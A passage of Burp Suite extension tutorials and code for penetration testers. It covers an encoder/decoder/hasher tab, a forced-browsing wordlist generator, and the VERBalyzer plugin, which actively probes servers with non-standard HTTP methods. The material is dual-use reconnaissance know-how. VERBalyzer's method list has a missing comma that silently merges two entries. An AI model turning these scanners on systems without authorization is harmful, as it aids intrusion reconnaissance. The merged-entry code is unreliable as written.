         tabbedPane.addTab("Encode", firstTab)
 
         # Button for first tab
         buttonPanel = swing.JPanel()
         buttonPanel.add(swing.JButton('Encode', actionPerformed=self.encode))
         firstTab.add(buttonPanel, "North")
 
         # Panel for the encoders. Each label and text field
         # will go in horizontal boxes which will then go in
         # a vertical box
         encPanel = swing.JPanel()
         boxVertical = swing.Box.createVerticalBox()
 
         boxHorizontal = swing.Box.createHorizontalBox()
         self.b64EncField = swing.JTextField('', 75)
         boxHorizontal.add(swing.JLabel("  Base64   :"))
         boxHorizontal.add(self.b64EncField)
         boxVertical.add(boxHorizontal)
 
         boxHorizontal = swing.Box.createHorizontalBox()
         self.urlEncField = swing.JTextField('', 75)
         boxHorizontal.add(swing.JLabel("  URL         :"))
         boxHorizontal.add(self.urlEncField)
         boxVertical.add(boxHorizontal)
 
         boxHorizontal = swing.Box.createHorizontalBox()
         self.asciiHexEncField = swing.JTextField('', 75)
         boxHorizontal.add(swing.JLabel("  Ascii Hex :"))
         boxHorizontal.add(self.asciiHexEncField)
         boxVertical.add(boxHorizontal)
 
         boxHorizontal = swing.Box.createHorizontalBox()
         self.htmlEncField = swing.JTextField('', 75)
         boxHorizontal.add(swing.JLabel("  HTML       :"))
         boxHorizontal.add(self.htmlEncField)
         boxVertical.add(boxHorizontal)
 
         boxHorizontal = swing.Box.createHorizontalBox()
         self.jsEncField = swing.JTextField('', 75)
         boxHorizontal.add(swing.JLabel("  JavaScript:"))
         boxHorizontal.add(self.jsEncField)
         boxVertical.add(boxHorizontal)
 
         # Add the vertical box to the Encode tab
         firstTab.add(boxVertical, "Center")
 
         # Second tab
         ...
 
         # Third tab
         ...
 
         # Add the custom tab to Burp's UI
         callbacks.addSuiteTab(self)
         return
 
     # Implement the functions from the button clicks
     def encode(self, event):
         pass
 
     # Implement ITab
     def getTabCaption(self):
 
 -----------------------------------------------------------------------------------------
 
 First we create a panel (buttonPanel) to hold our button, and then we add a button to the panel and specify the argument actionPerformed=self.encode, where self.encode is a method that will run when the button is clicked. We define encode at the end of the code snippet, and currently have it doing nothing. We’ll implement the encoders later. Now that our panel has a button, we add that to the first tab of the panel (firstTab.add(buttonPanel, “North”)). Next we create a separate panel for the encoder text labels and fields. Similar to before, we create a big box (boxVertical), and then create a horizontal box (boxHorizontal) for each pair of labels/textfields, which then get added to the big box. Finally that big box gets added to the tab. After saving the file and unloading/reloading, you shoud see big box added to the tab.
 
 
 The button might not seem to do anything, but it is actually executing the encode method we defined (which does nothing). Lets fix that method and have it encode the user input:
 
 ---------------------------------------------------------------------------------------------------------
 …
 try:
     from exceptions_fix import FixBurpExceptions
 except ImportError:
     pass
 import base64
 import urllib
 import binascii
 import cgi
 import json
 ...
 
         # Add the custom tab to Burp's UI
         callbacks.addSuiteTab(self)
         return
 
     # Implement the functions from the button clicks
     def encode(self, event):
         """Encodes the user input and writes the encoded
         value to text fields.
         """
         self.b64EncField.text = base64.b64encode(self.textArea.text)
         self.urlEncField.text = urllib.quote(self.textArea.text)
         self.asciiHexEncField.text = binascii.hexlify(self.textArea.text)
         self.htmlEncField.text = cgi.escape(self.textArea.text)
         self.jsEncField.text = json.dumps(self.textArea.text)
 
     # Implement ITab
     def getTabCaption(self):
 …
 
 ----------------------------------------------------------------------------------------------------------
 
 The encode method sets the text on the encode fields we created by encoding whatever the user types in the top text area (self.textArea.text). Once you save and unload/reload the file you should have full encoding functionality.
 
 Full code:
 
 ----------------------------------------------------------------------------------------------------------
 
 __author__ = 'Jake Miller (@LaconicWolf)'
 __date__ = '20190206'
 __version__ = '0.01'
 __description__ = """Burp Extension that encodes, decodes,
                   and hashes user input. Inspired by a
                   similar tool in OWASP's ZAP.
                   """
 
 from burp import IBurpExtender, ITab
 from javax import swing
 from java.awt import BorderLayout
 import sys
 import base64
 import urllib
 import binascii
 import cgi
 import json
 import re
 import hashlib
 from HTMLParser import HTMLParser
 
 try:
     from exceptions_fix import FixBurpExceptions
 except ImportError:
     pass
 
 class BurpExtender(IBurpExtender, ITab):
     def registerExtenderCallbacks(self, callbacks):
 
         # Required for easier debugging:
         # https://github.com/securityMB/burp-exceptions
         sys.stdout = callbacks.getStdout()
 
         # Keep a reference to our callbacks object
         self.callbacks = callbacks
 
         # Set our extension name
         self.callbacks.setExtensionName("Encode/Decode/Hash")
 
         # Create the tab
         self.tab = swing.JPanel(BorderLayout())
 
         # Create the text area at the top of the tab
         textPanel = swing.JPanel()
 
         # Create the label for the text area
         boxVertical = swing.Box.createVerticalBox()
         boxHorizontal = swing.Box.createHorizontalBox()
         textLabel = swing.JLabel("Text to be encoded/decoded/hashed")
         boxHorizontal.add(textLabel)
         boxVertical.add(boxHorizontal)
 
         # Create the text area itself
         boxHorizontal = swing.Box.createHorizontalBox()
         self.textArea = swing.JTextArea('', 6, 100)
         self.textArea.setLineWrap(True)
         boxHorizontal.add(self.textArea)
         boxVertical.add(boxHorizontal)
 
         # Add the text label and area to the text panel
         textPanel.add(boxVertical)
 
         # Add the text panel to the top of the main tab
         self.tab.add(textPanel, BorderLayout.NORTH)
 
         # Created a tabbed pane to go in the center of the
         # main tab, below the text area
         tabbedPane = swing.JTabbedPane()
         self.tab.add("Center", tabbedPane);
 
         # First tab
         firstTab = swing.JPanel()
         firstTab.layout = BorderLayout()
         tabbedPane.addTab("Encode", firstTab)
 
         # Button for first tab
         buttonPanel = swing.JPanel()
         buttonPanel.add(swing.JButton('Encode', actionPerformed=self.encode))
         firstTab.add(buttonPanel, "North")
 
         # Panel for the encoders. Each label and text field
         # will go in horizontal boxes which will then go in
         # a vertical box
         encPanel = swing.JPanel()
         boxVertical = swing.Box.createVerticalBox()
 
         boxHorizontal = swing.Box.createHorizontalBox()
         self.b64EncField = swing.JTextField('', 75)
         boxHorizontal.add(swing.JLabel("  Base64   :"))
         boxHorizontal.add(self.b64EncField)
         boxVertical.add(boxHorizontal)
 
         boxHorizontal = swing.Box.createHorizontalBox()
         self.urlEncField = swing.JTextField('', 75)
         boxHorizontal.add(swing.JLabel("  URL         :"))
         boxHorizontal.add(self.urlEncField)
         boxVertical.add(boxHorizontal)
 
         boxHorizontal = swing.Box.createHorizontalBox()
         self.asciiHexEncField = swing.JTextField('', 75)
         boxHorizontal.add(swing.JLabel("  Ascii Hex :"))
         boxHorizontal.add(self.asciiHexEncField)
         boxVertical.add(boxHorizontal)
 
         boxHorizontal = swing.Box.createHorizontalBox()
         self.htmlEncField = swing.JTextField('', 75)
         boxHorizontal.add(swing.JLabel("  HTML       :"))
         boxHorizontal.add(self.htmlEncField)
         boxVertical.add(boxHorizontal)
 
         boxHorizontal = swing.Box.createHorizontalBox()
         self.jsEncField = swing.JTextField('', 75)
         boxHorizontal.add(swing.JLabel("  JavaScript:"))
         boxHorizontal.add(self.jsEncField)
         boxVertical.add(boxHorizontal)
 
         # Add the vertical box to the Encode tab
         firstTab.add(boxVertical, "Center")
 
         # Repeat the same process for the remaining tabs
         secondTab = swing.JPanel()
         secondTab.layout = BorderLayout()
         tabbedPane.addTab("Decode", secondTab)
 
         buttonPanel = swing.JPanel()
         buttonPanel.add(swing.JButton('Decode', actionPerformed=self.decode))
         secondTab.add(buttonPanel, "North")
 
         decPanel = swing.JPanel()
         boxVertical = swing.Box.createVerticalBox()
 
         boxHorizontal = swing.Box.createHorizontalBox()
         self.b64DecField = swing.JTextField('', 75)
         boxHorizontal.add(swing.JLabel("  Base64   :"))
         boxHorizontal.add(self.b64DecField)
         boxVertical.add(boxHorizontal)
 
         boxHorizontal = swing.Box.createHorizontalBox()
         self.urlDecField = swing.JTextField('', 75)
         boxHorizontal.add(swing.JLabel("  URL         :"))
         boxHorizontal.add(self.urlDecField)
         boxVertical.add(boxHorizontal)
 
         boxHorizontal = swing.Box.createHorizontalBox()
         self.asciiHexDecField = swing.JTextField('', 75)
         boxHorizontal.add(swing.JLabel("  Ascii Hex :"))
         boxHorizontal.add(self.asciiHexDecField)
         boxVertical.add(boxHorizontal)
 
         boxHorizontal = swing.Box.createHorizontalBox()
         self.htmlDecField = swing.JTextField('', 75)
         boxHorizontal.add(swing.JLabel("  HTML       :"))
         boxHorizontal.add(self.htmlDecField)
         boxVertical.add(boxHorizontal)
 
         boxHorizontal = swing.Box.createHorizontalBox()
         self.jsDecField = swing.JTextField('', 75)
         boxHorizontal.add(swing.JLabel("  JavaScript:"))
         boxHorizontal.add(self.jsDecField)
         boxVertical.add(boxHorizontal)
 
         secondTab.add(boxVertical, "Center")
 
         thirdTab = swing.JPanel()
         thirdTab.layout = BorderLayout()
         tabbedPane.addTab("Hash", thirdTab)
 
         buttonPanel = swing.JPanel()
         buttonPanel.add(swing.JButton('Hash', actionPerformed=self.generateHashes))
         thirdTab.add(buttonPanel, "North")
 
         decPanel = swing.JPanel()
         boxVertical = swing.Box.createVerticalBox()
 
         boxHorizontal = swing.Box.createHorizontalBox()
         self.md5Field = swing.JTextField('', 75)
         boxHorizontal.add(swing.JLabel("  MD5        :"))
         boxHorizontal.add(self.md5Field)
         boxVertical.add(boxHorizontal)
 
         boxHorizontal = swing.Box.createHorizontalBox()
         self.sha1Field = swing.JTextField('', 75)
         boxHorizontal.add(swing.JLabel("  SHA-1     :"))
         boxHorizontal.add(self.sha1Field)
         boxVertical.add(boxHorizontal)
 
         boxHorizontal = swing.Box.createHorizontalBox()
         self.sha256Field = swing.JTextField('', 75)
         boxHorizontal.add(swing.JLabel("  SHA-256 :"))
         boxHorizontal.add(self.sha256Field)
         boxVertical.add(boxHorizontal)
 
         boxHorizontal = swing.Box.createHorizontalBox()
         self.sha512Field = swing.JTextField('', 75)
         boxHorizontal.add(swing.JLabel("  SHA-512 :"))
         boxHorizontal.add(self.sha512Field)
         boxVertical.add(boxHorizontal)
 
         boxHorizontal = swing.Box.createHorizontalBox()
         self.ntlmField = swing.JTextField('', 75)
         boxHorizontal.add(swing.JLabel("  NTLM       :"))
         boxHorizontal.add(self.ntlmField)
         boxVertical.add(boxHorizontal)
 
         thirdTab.add(boxVertical, "Center")
 
         # Add the custom tab to Burp's UI
         callbacks.addSuiteTab(self)
         return
 
     # Implement ITab
     def getTabCaption(self):
         """Return the text to be displayed on the tab"""
         return "Encode/Decode/Hash"
 
     def getUiComponent(self):
         """Passes the UI to burp"""
         return self.tab
 
     # Implement the functions from the button clicks
     def encode(self, event):
         """Encodes the user input and writes the encoded
         value to text fields.
         """
         self.b64EncField.text = base64.b64encode(self.textArea.text)
         self.urlEncField.text = urllib.quote(self.textArea.text)
         self.asciiHexEncField.text = binascii.hexlify(self.textArea.text)
         self.htmlEncField.text = cgi.escape(self.textArea.text)
         self.jsEncField.text = json.dumps(self.textArea.text)
 
     def decode(self, event):
         """Decodes the user input and writes the decoded
         value to text fields."""
         try:
             self.b64DecField.text = base64.b64decode(self.textArea.text)
         except TypeError:
             pass
         self.urlDecField.text = urllib.unquote(self.textArea.text)
         try:
             self.asciiHexDecField.text = binascii.unhexlify(self.textArea.text)
         except TypeError:
             pass
         parser = HTMLParser()
         self.htmlDecField.text = parser.unescape(self.textArea.text)
         self.jsDecField.text = re.sub(r'%u([a-fA-F0-9]{4}|[a-fA-F0-9]{2})', lambda m: chr(int(m.group(1), 16)), self.textArea.text)
 
     def generateHashes(self, event):
         """Hashes the user input and writes the hashed
         value to text fields.
         """
         self.md5Field.text = hashlib.md5(self.textArea.text).hexdigest()
         self.sha1Field.text = hashlib.sha1(self.textArea.text).hexdigest()
         self.sha256Field.text = hashlib.sha256(self.textArea.text).hexdigest()
         self.sha512Field.text = hashlib.sha512(self.textArea.text).hexdigest()
         self.ntlmField.text = binascii.hexlify(hashlib.new('md4', self.textArea.text.encode('utf-16le')).digest())
 
 try:
     FixBurpExceptions()
 except:
     pass
 --------------------------------------------------------------------------------------------------------------------------------------------------------
 
 
 
 ########################################################################
 # Burp Extension Python Tutorial – Generate a Forced Browsing Wordlist #
 ########################################################################
 
 
 Setup
 
 • Create a folder where you’ll store extensions – I named mine extensions
 • Download the Jython standalone JAR file (http://www.jython.org/downloads.html) – Place into the extensions folder
 • Download exceptions_fix.py (https://github.com/securityMB/burp-exceptions/blob/master/exceptions_fix.py) to the extensions folder – this will make debugging easier
 • Configure Burp to use Jython – Extender > Options > Python Environment > Select file
 • Create a new file (GenerateForcedBrowseWordlist.py) in your favorite text editor (save it in your extensions folder)
 
 Full code: https://raw.githubusercontent.com/laconicwolf/burp-extensions/master/GenerateForcedBrowseWordlist.py
 
 
 - Importing required modules, accessing the Extender API, and implementing the debugger
 
 -----------------------------------------------------------------------------------
 
 from burp import IBurpExtender, IContextMenuFactory
 from java.util import ArrayList
 from javax.swing import JMenuItem
 import threading
 import sys
 try:
     from exceptions_fix import FixBurpExceptions
 except ImportError:
     pass
 
 ------------------------------------------------------------------------------------
 
 
 The IBurpExtender module is required for all extensions, while IContextMenuFactory allows us to have the right-click functionality. The JMenuItem is used for the context menu GUI, and the ArrayList is to store our list of options that we want to appear in the context menu. The sys module is imported to allow Python errors to be shown in stdout with the help of the FixBurpExceptions script. I placed that in a Try/Except block so if we don’t have the script the code will still work fine.
 
 This next code snippet will implement the FixBurpExceptions prettier debugger, set references to our callbacks and extension helpers, register our extension with Burp, and keep create a context menu. If you’re following along type or paste this code after the imports:
 
 -------------------------------------------------------------------------------------
 class BurpExtender(IBurpExtender, IContextMenuFactory):
     def registerExtenderCallbacks(self, callbacks):
 
         sys.stdout = callbacks.getStdout()
         self.callbacks = callbacks
         self.helpers = callbacks.getHelpers()
         self.callbacks.setExtensionName("Forced Browsing Wordlist Generator")
         callbacks.registerContextMenuFactory(self)
 
         return
 
 try:
     FixBurpExceptions()
 except:
     pass
 -------------------------------------------------------------------------------------
 
 The above class implements IBurpExtender, which is required for all extensions and must be named BurpExtender. Within the required method, registerExtendedCallbacks, the line self.callbacks keeps a reference to Burp so we can interact with it, and in our case will be used to set the extension name, and eventually obtain data from the Sitemap. The line callbacks.registerContextMenuFactory(self) tells Burp that we want to use the context menu, which is the right-click functionality. FixBurpExceptions is called at the end of the script just in case we have an error (Thanks for the code, SecurityMB!). The try/except block calling FixBurpExceptions will always go at the very end of the script.
 
 Save the script to your extensions folder and then load the file into Burp: Extender > Extensions > Add > Extension Details > Extension Type: Python > Select file… > GenerateForcedBrowseWordlist.py
 
 The extension should load without any errors or output. If you click on the Target > Sitemap and right-click something, if you go back to the Extender tab you should now have an error.
 
 The error is recorded as NotImplementedError, because we invoked the iContextMenuFactory but did not implement any menu items. We can figure out why this happened by reviewing the Extender API documentation (either in Burp or online):
 
 - the method createMenuItems() “…will be called by Burp when the user invokes a context menu anywhere within Burp. The factory can then provide any custom context menu items that should be displayed in the context menu, based on the details of the menu invocation.”
 
 
 - Creating an interface to right-click and perform a function
 
 
 We will create the menu items, and then define the functions that are called when the menu items are clicked:
 ---------------------------------------------------------------------------------------------------
         ...
         callbacks.registerContextMenuFactory(self)
 
         return
 
     def createMenuItems(self, invocation):
         self.context = invocation
         menuList = ArrayList()
         menuItem = JMenuItem("Generate forced browsing wordlist from selected items",
                               actionPerformed=self.createWordlistFromSelected)
         menuList.add(menuItem)
         menuItem = JMenuItem("Generate forced browsing wordlist from all hosts in scope",
                               actionPerformed=self.createWordlistFromScope)
         menuList.add(menuItem)
         return menuList
 
     def createWordlistFromSelected(self, event):
         print "in createWordlistFromSelected"
 
     def createWordlistFromScope(self, event):
         print "in createWordlistFromScope"
 
 try:
     FixBurpExceptions()
 ...
 --------------------------------------------------------------------------------------------------
 
 Save the code and reload the extension. Try right-clicking in the Sitemap, and you should now see the option to “Generate forced browsing wordlist from selected items” or “Generate forced browsing wordlist from all hosts in scope”. Click on one of them, and it will execute the function, and you should see output in the Extender output pane.
 
 
 Excellent. So far we’ve added out menu items to the context menu, and we are able to run our functions when the menu items are clicked. The next part of the program builds out these function further, and shows how to interact with the recorded HTTP requests and responses contained in the Sitemap.
 
 We defined two menu options, “Generate forced browsing wordlist from selected items” or “Generate forced browsing wordlist from all hosts in scope”, so we need to actually make these functions do something other than print. They are actually both going to basically do the same thing, which is start another thread and call another function that will do most of the work. The only difference between the functions will be that createWordlistFromScope() will set a class variable that tells only looks at the sites in scope. On to the code. We edit the functions that we created so they will do more than just print:
 
 
 ----------------------------------------------------------------------
 
     def createMenuItems(self, invocation):
         ...
         return menuList
 
     def createWordlistFromSelected(self, event):
         self.fromScope = False
         t = threading.Thread(target=self.createWordlist)
         t.daemon = True
         t.start()
 
     def createWordlistFromScope(self, event):
         self.fromScope = True
         t = threading.Thread(target=self.createWordlist)
         t.daemon = True
         t.start()
 
     def createWordlist(self):
         print "In createWordlist"
 
 try:
     FixBurpExceptions()
 ...
 
 --------------------------------------------------------------------
 
 The self.fromScope variable is set so the createWordlist function will know whether to look at all of the items in scope or to only look and the site(s) that were selected in the context menu. Then, a thread is defined (t), configured to run the createWordlist function (target=self.createWordlist), and start the thread. Without multi-threading, if we try to run the extension and have a large Sitemap or multiple targets selected, then the GUI will freeze while the program is running.
 
 If you save and reload this extension, then right-click and send the data to our extension, you should receive the following output in the Extender output tab.
 
 Now, we can finish the createWordList() function, which is where we interact with the Sitemap:
 
 - Writing the function that interacts with requests and responses in the Sitemap
 
 We can review the API documentation (within Burp) to see how to get the data from the Sitemap:
 
 So if called without any parameter, the entire Sitemap is returned. If a URL prefix is specified, it will only return the Sitemap data that startswith the URL prefix. Recall that our program gives the user two options: “Generate forced browsing wordlist from selected items” or “Generate forced browsing wordlist from all hosts in scope”. To generate the wordlist for all hosts in scope we can return the entire Sitemap, and then use another Burp callbacks method isInScope() to determine whether or not we should use it. Note: When testing this extension I noticed that if you click on an out-of-scope entry in the Sitemap and select “Generate forced browsing wordlist from all hosts in scope”, it will still include that selection, as if it was in scope.
 
 To generate the wordlist from selected items we first need to record what is selected, then we can either pull the entire Sitemap and compare the URLs we want, or we can give the getSiteMap() the URL prefix for each site individually. I chose the former for this program.
 
 First, we determine what the user’s selection was:
 
 -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
 
     def createWordlistFromScope(self, event):
         ...
         t.start()
 
     def createWordlist(self):
         httpTraffic = self.context.getSelectedMessages()
         hostUrls = []
         for traffic in httpTraffic:
             try:
                 hostUrls.append(str(traffic.getUrl()))
             except UnicodeEncodeError:
                 continue
 -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
 
 Recall that self.context was what the user had selected in the Sitemap when they right-clicked, and the getSelectedMessages() method returns an array of objects containing data about the the items the user had selected. When I was developing the extension I inspected the object to get an idea of what it contained:
 
 -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
 
 print type(httpTraffic)
 <type 'array.array'>
 
 print dir(traffic)
 ['...', 'b', 'class', 'comment', 'equals', 'getClass', 'getComment', 'getHighlight', 'getHost', 'getHttpService', 'getPort', 'getProtocol', 'getRequest', 'getResponse', 'getStatusCode', 'getUrl', 'hashCode', 'highlight', 'host', 'httpService', 'notify', 'notifyAll', 'port', 'protocol', 'request', 'response', 'setComment', 'setHighlight', 'setHost', 'setHttpService', 'setPort', 'setProtocol', 'setRequest', 'setResponse', 'statusCode', 'toString', 'url', 'wait']
 
 ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
 
 
 We are interested in getting the URL from each object, so we iterate through the array and call the getUrl() method. This method returns a type of ‘java.net.URL’, which we convert to a string using str() and add it to our hostUrls list that we will use later to filter the Sitemap data. The try/except block is to deal with any encoding errors, which I handle by ignoring not adding it to the hostUrls list.
 
 Now, we get the data from the Sitemap:
 
 ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
     def createWordlist(self):
         ...
                 continue
 
         urllist = []
         siteMapData = self.callbacks.getSiteMap(None)
         for entry in siteMapData:
             requestInfo = self.helpers.analyzeRequest(entry)
             url = requestInfo.getUrl()
             try:
                 decodedUrl = self.helpers.urlDecode(str(url))
             except Exception as e:
                 continue
 
             if self.fromScope and self.callbacks.isInScope(url):
                 urllist.append(decodedUrl)
             else:
                 for url in hostUrls:
                     if decodedUrl.startswith(str(url)):
                         urllist.append(decodedUrl)
 
 ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
 
 We initialize a new list (urllist) to hold the URLs from each site, then call getSiteMap(None), which will return all of the Sitemap entries. For each entry, we use the analyzeRequest() method to get the URL, and then URL decode each entry.
 
 It is at this point that we get to our filtering. If self.fromScope is true, the isInScope() method is called on the URL. If that returns true, then the URL-decoded URL is appended to our urllist. If self.fromScope is False (meaning the user chose “Generate forced browsing wordlist from selected items”), the URL from the Sitemap is checked against the URLs that the user had selected in the context menu. If the decoded URL starts with the user-selected URL, then it is appended to the urllist.
 
 Now, the urllist variable contains a list of URLs, complete with the querystring. Since we don’t need the querystring, and only want the last part of the path, we need to split up the URL and take only the part we want:
 
 ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
     def createWordlist(self):
         ...
                         urllist.append(decodedUrl)
 
         filenamelist = []
         for entry in urllist:
             filenamelist.append(entry.split('/')[-1].split('?')[0])
 
         for word in sorted(set(filenamelist)):
             if word:
                 try:
                     print word
                 except UnicodeEncodeError:
                     continue
 
 try:
     FixBurpExceptions()
 ...
 
 ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
 
 The filenamelist is where we will store our forced browsing wordlist. We split each URL entry in urllist, first by the ‘/’. The split function() turns the string URL into a list, and the [-1] will grab the last element of that list. That last element will be the filename and any querystring, so it is split again at the ‘?’ and the first element is selected. For example:
 
 ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
 >>> url = 'http://example.com/app/folder/file.php?param=value'
 >>> url.split('/')
 ['http:', '', 'example.com', 'app', 'folder', 'file.php?param=value']
 >>> url.split('/')[-1]
 'file.php?param=value'
 >>> url.split('/')[-1].split('?')
 ['file.php', 'param=value']
 >>> url.split('/')[-1].split('?')[0]
 'file.php'
 
 ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
 
 That filename is appended into the filenamelist. Finally, we iterate through the filenamelist (after sorting and unique’ing the list) and print everything into the Extender output pane.
 
 And that’s it! Save, reload, and you should now have a functional extension that makes use of the context menu and Sitemap.
 
 - Full code:
 
 ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
 
 __author__ = 'Jake Miller (@LaconicWolf)'
 __date__ = '20190226'
 __version__ = '0.01'
 __description__ = """\
 Burp Extension that extracts the filenames from URLs in
 scope or from a selected host. Just right click on the
 hosts pane in the sitemap and click 'Generate forced
 browsing wordlist' for either selected items or all hosts
 in scope. The output will appear in the extender tab, where
 you can set configure the extension to output to the system console,
 save to a file, or show in the UI.
 
 Blog post explaining all the code in detail:
 https://laconicwolf.com/2019/03/09/burp-extension-python-tutorial-generate-a-forced-browsing-wordlist/
 """
 
 from burp import IBurpExtender, IContextMenuFactory
 from java.util import ArrayList
 from javax.swing import JMenuItem
 import threading
 import sys
 try:
     from exceptions_fix import FixBurpExceptions
 except ImportError:
     pass
 
 class BurpExtender(IBurpExtender, IContextMenuFactory):
     def registerExtenderCallbacks(self, callbacks):
 
         sys.stdout = callbacks.getStdout()
         self.callbacks = callbacks
         self.helpers = callbacks.getHelpers()
         self.callbacks.setExtensionName("Forced Browsing Wordlist Generator")
         callbacks.registerContextMenuFactory(self)
 
         return
 
     def createMenuItems(self, invocation):
         self.context = invocation
         menuList = ArrayList()
         menuItem = JMenuItem("Generate forced browsing wordlist from selected items",
                               actionPerformed=self.createWordlistFromSelected)
         menuList.add(menuItem)
         menuItem = JMenuItem("Generate forced browsing wordlist from all hosts in scope",
                               actionPerformed=self.createWordlistFromScope)
         menuList.add(menuItem)
         return menuList
 
     def createWordlistFromSelected(self, event):
         self.fromScope = False
         t = threading.Thread(target=self.createWordlist)
         t.daemon = True
         t.start()
 
     def createWordlistFromScope(self, event):
         self.fromScope = True
         t = threading.Thread(target=self.createWordlist)
         t.daemon = True
         t.start()
 
     def createWordlist(self):
         httpTraffic = self.context.getSelectedMessages()
         hostUrls = []
         for traffic in httpTraffic:
             try:
                 hostUrls.append(str(traffic.getUrl()))
             except UnicodeEncodeError:
                 continue
 
         urllist = []
         siteMapData = self.callbacks.getSiteMap(None)
         for entry in siteMapData:
             requestInfo = self.helpers.analyzeRequest(entry)
             url = requestInfo.getUrl()
             try:
                 decodedUrl = self.helpers.urlDecode(str(url))
             except Exception as e:
                 continue
 
             if self.fromScope and self.callbacks.isInScope(url):
                 urllist.append(decodedUrl)
             else:
                 for url in hostUrls:
                     if decodedUrl.startswith(str(url)):
                         urllist.append(decodedUrl)
 
         filenamelist = []
         for entry in urllist:
             filenamelist.append(entry.split('/')[-1].split('?')[0])
 
         for word in sorted(set(filenamelist)):
             if word:
                 try:
                     print word
                 except UnicodeEncodeError:
                     continue
 try:
     FixBurpExceptions()
 except:
     pass
 
 ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
 
 
 #########################
 # BurpVERBalyzer Plugin #
 #########################
 
 https://raw.githubusercontent.com/doyler/SecurityTools/master/BurpVERBalyzer/VERBalyzer.py
 
 - Full code:
 
 ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
 
 # VERBalyzer - Burp Plugin to detect HTTP Methods supported by the server
 # Author: Ray Doyle (@doylersec) <https://www.doyler.net>
 # Copyright 2017
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
 # You may obtain a copy of the License at
 #
 # http://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
 try:
     from burp import IBurpExtender
     from burp import IScannerCheck
     from burp import IScanIssue
     from burp import IScannerInsertionPointProvider
     from burp import IScannerInsertionPoint
     from burp import IParameter
     from array import array
     from org.python.core.util import StringUtil
     import string
 except ImportError:
     print "Failed to load dependencies."
 
 VERSION = "1.0"
 callbacks = None
 helpers = None
 
 methods = [
     'OPTIONS',
     #'GET',
     #'HEAD',
     #'POST',
     'PUT',
     #'DELETE',
     'TRACE',
     'CONNECT'
     'PROPFIND',
     'PROPPATCH',
     'MKCOL',
     'COPY',
     'MOVE',
     'LOCK',
     'UNLOCK',
     'VERSION-CONTROL',
     'REPORT',
     'CHECKOUT',
     'CHECKIN',
     'UNCHECKOUT',
     'MKWORKSPACE',
     'UPDATE',
     'LABEL',
     'MERGE',
     'BASELINE-CONTROL',
     'MKACTIVITY',
     'ORDERPATCH',
     'ACL',
     'SEARCH',
     'PATCH',
     'FOO'
 ]
 
 class BurpExtender(IBurpExtender, IScannerInsertionPointProvider, IScannerCheck):
     def registerExtenderCallbacks(self, callbacks):
         self._callbacks = callbacks
         self._helpers = callbacks.getHelpers()
 
         callbacks.setExtensionName("VERBalyzer")
 
         callbacks.registerScannerInsertionPointProvider(self)
         callbacks.registerScannerCheck(self)
 
         print "Successfully loaded VERBalyzer v" + VERSION
         return
 
     # helper method to search a response for occurrences of a literal match string
     # and return a list of start/end offsets
     def _get_matches(self, response, match):
         matches = []
         start = 0
         reslen = len(response)
         matchlen = len(match)
         while start < reslen:
             start = self._helpers.indexOf(response, match, True, start, reslen)
             if start == -1:
                 break
             matches.append(array('i', [start, start + matchlen]))
             start += matchlen
 
         return matches
 
     #
     # implement IScannerInsertionPointProvider
     #
     def getInsertionPoints(self, baseRequestResponse):
         requestLine = self._helpers.analyzeRequest(baseRequestResponse.getRequest()).getHeaders()[0]
 
         if (requestLine is None):
             return None
 
         else:
             # if the parameter is present, add a single custom insertion point for it
             return [ InsertionPoint(self._helpers, baseRequestResponse.getRequest(), requestLine) ]
 
     def doActiveScan(self, baseRequestResponse, insertionPoint):
         if 'HTTP Method' != insertionPoint.getInsertionPointName():
             return []
 
         issues = []
 
         for method in methods:
             checkRequest = insertionPoint.buildRequest(method)
             checkRequestResponse = self._callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), checkRequest)
 
             matches = self._get_matches(checkRequestResponse.getResponse(), "HTTP/1.1 200 OK")
 
             if len(matches) > 0:
                 # get the offsets of the payload within the request, for in-UI highlighting
                 requestHighlights = [insertionPoint.getPayloadOffsets(method)]
 
                 issues.append(CustomScanIssue(
                     baseRequestResponse.getHttpService(),
                     self._helpers.analyzeRequest(baseRequestResponse).getUrl(),
                     [self._callbacks.applyMarkers(checkRequestResponse, requestHighlights, matches)],
                     "Non-standard HTTP Method Found",
                     "The following method was found to be supported by the server: " + method,
                     "Medium"))
 
         return issues
 
     def doPassiveScan(self, basePair):
         return []
 
     def consolidateDuplicateIssues(self, existingIssue, newIssue):
         # This method is called when multiple issues are reported for the same URL
         # path by the same extension-provided check. The value we return from this
         # method determines how/whether Burp consolidates the multiple issues
         # to prevent duplication
         #
         # Since the issue name is sufficient to identify our issues as different,
         # if both issues have the same name, only report the existing issue
         # otherwise report both issues
         if existingIssue.getIssueDetail() == newIssue.getIssueDetail():
             return -1
         return 0
 
 #
 # class implementing IScannerInsertionPoint
 #
 
 class InsertionPoint(IScannerInsertionPoint):
 
     def __init__(self, helpers, baseRequest, requestLine):
         self._helpers = helpers
         self._baseRequest = baseRequest
 
         # parse the location of the input string within the decoded data
         start = 0
         self._insertionPointPrefix = requestLine[:start]
         end = string.find(requestLine, " /", start)
         if (end == -1):
             end = requestLine.length()
         self._baseValue = requestLine[start:end]
         self._insertionPointSuffix = requestLine[end:]
         return
 
     #
     # implement IScannerInsertionPoint
     #
     def getInsertionPointName(self):
         return "HTTP Method"
 
     def getBaseValue(self):
         return self._baseValue
 
     def buildRequest(self, payload):
         # Gross workaround via Dafydd - https://support.portswigger.net/customer/portal/questions/12431820-design-of-active-scanner-plugin-vs-insertionpoints
         if payload.tostring() not in methods:
             raise Exception('Just stopping Burp from using our custom insertion point')
         else:
